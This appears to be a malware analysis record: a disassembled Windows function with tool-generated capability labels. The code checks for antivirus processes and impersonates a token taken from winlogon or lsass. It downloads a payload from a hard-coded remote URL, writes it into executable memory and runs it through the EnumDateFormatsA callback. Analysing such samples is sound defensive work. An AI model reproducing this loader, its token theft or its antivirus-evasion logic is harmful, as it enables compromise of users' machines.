Function at 0x1400c0e8a
Capabilities:
Create http request
Execute shellcode via windows callback function
Read data from internet
Receive data

Disassembly:
jmp 0x1400d8e50
jmp 0x1400db690
jmp 0x14010e500
push rbx
sub rsp, 0x30
mov rax, qword [0x1402a1ff8]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea rcx, [0x1402c0059]
call fcn.1400c2c3a
lea rcx, str.MsMpEng.exe
mov qword [rsp + 0x20], 0
call fcn.1400c0a07
lea rcx, str.QQPCRTP.exe
mov ebx, eax
call fcn.1400c0a07
test ebx, ebx
jne 0x1400d8e9c
test eax, eax
je 0x1400d8eec
lea rdx, [rsp + 0x20]
lea rcx, str.winlogon.exe
call fcn.1400be8e7
test eax, eax
je 0x1400d8eec
lea rdx, [rsp + 0x20]
lea rcx, str.lsass.exe
call fcn.1400be8e7
test eax, eax
je 0x1400d8eec
mov rcx, qword [rsp + 0x20]
call fcn.1400bd99c
mov qword [rsp + 0x20], rax
test rax, rax
je 0x1400d8eec
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
je 0x1400d8eec
call fcn.1400c16e6
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400bfc6a
add rsp, 0x30
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x1402a1ff8]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea rcx, [0x1402c0059]
call fcn.1400c2c3a
xor edi, edi
lea rcx, str.54as3
xor r9d, r9d
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x20], edi
lea edx, [rdi + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x28], rdi
lea rdx, str.http:__xingpai.weilay.com.cn_llq.rar
mov rcx, rax
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea r9, [rsp + 0x34]
mov dword [rsp + 0x34], 4
mov rcx, rax
mov qword [rsp + 0x20], rdi
lea r8, [rsp + 0x30]
mov edx, 0x20000005
mov rbx, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ecx, dword [rsp + 0x30]
call fcn.1400bf869
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x38]
mov rdx, rax
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [rsp + 0x30]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x30]
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.1400bfc83
xor r8d, r8d
mov edx, 0x800
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400bfc6a
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
sub rsp, 0x78
lea rcx, [0x1402c0059]
call fcn.1400c2c3a
lea rcx, str.360Tray.exe
call fcn.1400c0a07
test eax, eax
jle 0x14010e816
mov qword [rsp + 0x80], rbx
lea rdx, str.360Tray.exe
mov qword [rsp + 0x88], rsi
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rdi
call fcn.1400bea6d
mov rdx, rax
lea rcx, [0x1402a4a88]
call fcn.1400be8c4
lea rcx, [rsp + 0x20]
call fcn.1400be0e0
lea rdx, str.360Safe.exe
lea rcx, [rsp + 0x20]
call fcn.1400bea6d
mov rdx, rax
lea rcx, [0x1402a4a10]
call fcn.1400be8c4
lea rcx, [rsp + 0x20]
call fcn.1400be0e0
lea rcx, [rsp + 0x20]
call fcn.1400bfb6b
mov rdx, rax
lea rcx, [0x1402a4a38]
call fcn.1400be8c4
lea rcx, [rsp + 0x20]
call fcn.1400be0e0
lea r8, [0x14024f628]
lea rdx, [0x1402a4a38]
lea rcx, [rsp + 0x20]
call fcn.1400c179a
mov rdx, rax
lea rcx, [0x1402a4a60]
call fcn.1400be8c4
lea rcx, [rsp + 0x20]
call fcn.1400be0e0
lea rdx, [0x1402a4a60]
lea rcx, [rsp + 0x20]
call fcn.1400bdbf9
lea rdx, [0x14024f640]
mov rbx, rax
lea rcx, [rsp + 0x48]
call fcn.1400bfa0d
mov rcx, rax
mov r8, rbx
mov edx, 0x68
call fcn.1400c1a60
cmp byte [0x1402a4a0c], 0
jne 0x14010e643
nop
xor edx, edx
lea rcx, [0x1400d9e00]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1402a4a0c], 0
je 0x14010e620
xor edi, edi
lea rcx, [0x14024f648]
mov ebx, edi
call fcn.1400c0a07
test eax, eax
jne 0x14010e68a
inc ebx
cmp ebx, 0x14
jl 0x14010e66f
xor edx, edx
lea rcx, [0x1400d9e00]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ebx, edi
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14024f648]
call fcn.1400c0a07
test eax, eax
je 0x14010e657
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
cmp byte [0x1402a4a0e], 0
je 0x14010e6a2
cmp edi, 0x14
jg 0x14010e6fd
cmp ebx, 0x14
jg 0x14010e6fd
lea rcx, [0x14024f648]
inc edi
call fcn.1400c1754
cmp eax, 1
jle 0x14010e6c6
lea rcx, [0x14024f648]
call fcn.1400bdabe
xor edx, edx
lea rcx, [0x1400db2a0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x32
inc ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, esi
cmp eax, 0x1388
jbe 0x14010e694
lea rcx, str.Exceeded_delay_time._Exiting_loop._n
call fcn.1400bd375
lea rdx, [0x1402a4a88]
lea rcx, [rsp + 0x48]
call fcn.1400bdbf9
mov rcx, rax
call fcn.1400bed79
lea rdx, [0x14024e540]
lea rcx, [0x1402a4a10]
call fcn.1400be7ac
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x80]
test al, al
je 0x14010e75b
lea rdx, [0x1402a4a10]
lea rcx, [rsp + 0x48]
call fcn.1400bdbf9
mov rcx, rax
call fcn.1400bed79
cmp byte [0x1402a1d2c], 0
je 0x14010e79a
nop dword [rax]
nop dword [rax + rax]
xor edx, edx
mov byte [0x1402a1d2c], 0
lea rcx, [0x1400d8a10]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1402a1d2c], 0
jne 0x14010e770
lea rcx, [0x14024f648]
call fcn.1400bdabe
lea rcx, [0x14024f648]
call fcn.1400c0a07
test eax, eax
je 0x14010e7db
nop word [rax + rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14024f648]
call fcn.1400c0a07
test eax, eax
jne 0x14010e7c0
lea r8, [0x14024f628]
lea rdx, [0x1402a4a38]
lea rcx, [rsp + 0x20]
call fcn.1400c179a
mov rcx, rax
call fcn.1400bd83e
mov rcx, rax
call fcn.1400c3388
lea rcx, [rsp + 0x20]
call fcn.1400be0e0
add rsp, 0x78
jmp 0x1400c0e8a
call 0x1400c0e8a
call fcn.1400c10a1
add rsp, 0x78
jmp 0x1400bd78f